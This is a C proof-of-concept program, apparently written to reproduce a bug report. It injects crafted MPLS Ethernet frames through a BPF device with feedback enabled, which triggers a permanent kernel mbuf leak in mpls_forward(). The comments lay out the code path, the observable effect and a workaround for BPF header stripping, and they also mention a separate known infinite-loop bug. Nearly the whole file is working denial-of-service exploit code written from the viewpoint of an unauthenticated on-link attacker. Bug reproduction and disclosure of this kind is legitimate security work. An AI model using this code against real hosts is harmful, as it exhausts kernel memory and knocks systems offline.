DF-3468 / mpls_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | /* * DF-3468 โ mpls_forward() route-miss mbuf leak โ live trigger. * * Injects N Ethernet frames with EtherType 0x8847 (MPLS unicast) carrying a * single MPLS label 1000 (S-bit SET so we do NOT hit the known DF-0751 * label-0/label-2 `goto again` infinite loop), TTL=64, plus padding so each * frame occupies an mbuf + cluster. * * Path on an `options MPLS` kernel with NO AF_MPLS routes (default state): * ether_input -> ether_demux_oncpu (ETHERTYPE_MPLS -> NETISR_MPLS) * -> mpls_input_handler -> mpls_input() * -> label 1000 > 15, mplsforwarding == 1 -> mpls_forward(m) * -> rtalloc(&mplsforward_rt[cpu]) misses -> ro_rt == NULL * -> mpls_input.c:200-203 `return;` WITHOUT m_freem(m) *** LEAK *** * * Observable: `netstat -m` "mbufs in use" / "mbuf clusters in use" climb by * exactly N after N frames and NEVER come back down (permanent leak). * * Control mode: pass ethertype 0x88B7 (unknown) โ frames are dropped in * ether_demux_oncpu and freed immediately; counts stay flat. * * Usage: ./mpls_leak <ifname> <count> [ethertype-hex] * Requires root (opens /dev/bpf), uses BIOCSFEEDBACK so the frame is fed * back into ifp->if_input exactly as if received from the wire โ this * simulates the unauthenticated on-link attacker. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/bpf.h> #include <net/ethernet.h> #include <arpa/inet.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> #ifndef ETHERTYPE_MPLS #define ETHERTYPE_MPLS 0x8847 #endif #define FRAME_SIZE 1400 /* mbuf + cluster per frame */ int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "vtnet0"; int count = (argc > 2) ? atoi(argv[2]) : 500; int etype = (argc > 3) ? (int)strtoul(argv[3], NULL, 16) : ETHERTYPE_MPLS; char dev[16]; int fd, i, n; struct ifreq ifr; u_int dlt; u_int imm = 1; unsigned char frame[FRAME_SIZE]; unsigned int shim; int label = 1000, ttl = 64, sbit = 1; /* S=1: avoid DF-0751 loop */ /* find a free bpf device */ for (i = 0; i < 16; i++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", i); fd = open(dev, O_RDWR); if (fd >= 0) break; } if (fd < 0) err(1, "open bpf"); memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) err(1, "BIOCSETIF %s", ifname); if (ioctl(fd, BIOCIMMEDIATE, &imm) < 0) err(1, "BIOCIMMEDIATE"); if (ioctl(fd, BIOCSFEEDBACK, &imm) < 0) err(1, "BIOCSFEEDBACK"); if (ioctl(fd, BIOCGDLT, &dlt) < 0) err(1, "BIOCGDLT"); if (dlt != DLT_EN10MB) errx(1, "unexpected DLT %u", dlt); /* * DF bpf_movein(DLT_EN10MB) strips the leading 14 bytes into the * output sockaddr; the BIOCSFEEDBACK copy is m_dup'ed from the * STRIPPED mbuf and fed to ether_input(). We therefore write the * real ether header TWICE: after the strip, the feedback copy starts * with the second copy of the real header and ether_demux sees * EtherType 0x8847 as intended. */ memset(frame, 0, sizeof(frame)); for (i = 0; i < 6; i++) frame[14+i] = 0xff; /* dst bcast */ frame[14+6]=0x52; frame[14+7]=0x54; frame[14+8]=0x00; /* src */ frame[14+9]=0x12; frame[14+10]=0x34; frame[14+11]=0x56; frame[14+12] = (etype >> 8) & 0xff; frame[14+13] = etype & 0xff; /* dummy first header (consumed by bpf_movein): bcast dst, our src */ for (i = 0; i < 6; i++) frame[i] = 0xff; memcpy(frame+6, frame+14+6, 6); frame[12] = (etype >> 8) & 0xff; frame[13] = etype & 0xff; /* MPLS shim: label 1000, exp 0, S=1, TTL 64 (network byte order) */ shim = ((label & 0xfffff) << 12) | (0 << 9) | (sbit << 8) | (ttl & 0xff); frame[28] = (shim >> 24) & 0xff; frame[29] = (shim >> 16) & 0xff; frame[30] = (shim >> 8) & 0xff; frame[31] = shim & 0xff; /* recognizable payload */ for (i = 32; i < FRAME_SIZE; i++) frame[i] = (unsigned char)(i & 0xff); printf("DF-3468: if=%s frames=%d ethertype=0x%04x label=%d S=%d TTL=%d\n", ifname, count, etype, label, sbit, ttl); for (i = 0; i < count; i++) { n = write(fd, frame, FRAME_SIZE); if (n != FRAME_SIZE) err(1, "write frame %d (n=%d)", i, n); } printf("DF-3468: injected %d frames (%d bytes each)\n", count, FRAME_SIZE); return 0; } |